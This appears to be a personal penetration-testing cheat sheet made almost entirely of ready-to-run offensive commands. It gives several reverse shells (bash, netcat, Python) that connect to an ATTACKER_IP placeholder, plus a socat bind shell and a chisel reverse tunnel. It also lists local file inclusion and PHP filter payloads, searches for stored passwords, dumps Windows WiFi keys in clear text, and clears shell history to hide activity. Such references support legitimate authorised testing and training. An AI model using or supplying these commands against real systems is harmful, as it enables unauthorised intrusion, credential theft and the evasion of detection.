Pentesting Tips & Notes
Useful commands, shell tricks, and patterns I use frequently during penetration testing.
Stabilizing Shells
Make a reverse shell more usable:
stty raw -echo; fg
Spawn a proper TTY with Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Fix terminal after spawning:
export TERM=xterm
stty rows 40 columns 160
Reverse Shells
Bash reverse shell:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Netcat (with -e):
nc -e /bin/sh ATTACKER_IP 4444
Netcat (no -e support):
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
Python reverse shell:
python3 -c 'import socket,subprocess,os;
s=socket.socket(); s.connect(("ATTACKER_IP",4444));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh"])'
Port Forwarding / Tunneling
SSH local port forward:
ssh -L 8080:localhost:80 user@target
Chisel reverse tunnel:
chisel server -p 9001 --reverse
chisel client ATTACKER_IP:9001 R:8080:localhost:80
Socat bind shell:
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/sh
Linux Enumeration
SUID binaries:
find / -perm -4000 2>/dev/null
Capabilities:
getcap -r / 2>/dev/null
Check sudo:
sudo -l
Listening ports:
ss -tunlp
Writable directories:
find / -writable -type d 2>/dev/null
Privilege Escalation Quick Wins
sudo -l:
sudo -l
PATH:
echo $PATH
Cron:
cat /etc/crontab
Search passwords:
grep -Ri "password" / 2>/dev/null
Web Enumeration
Directory brute force:
feroxbuster -u http://target/ -x php,txt,html -t 50
Robots.txt:
curl -s http://target/robots.txt
LFI:
?file=../../../../etc/passwd
PHP filter wrapper:
?page=php://filter/convert.base64-encode/resource=index.php
Hash Cracking
Identify hash:
hashid hash.txt
Hashcat:
hashcat -m 0 hash.txt rockyou.txt
John:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Windows Enumeration
Users:
net user
Systeminfo:
systeminfo
Services:
sc query
WiFi credentials:
netsh wlan show profiles
netsh wlan show profile NAME key=clear
OPSEC / Cleanup
Network connections:
netstat -tupln
Clear history:
history -c && history -w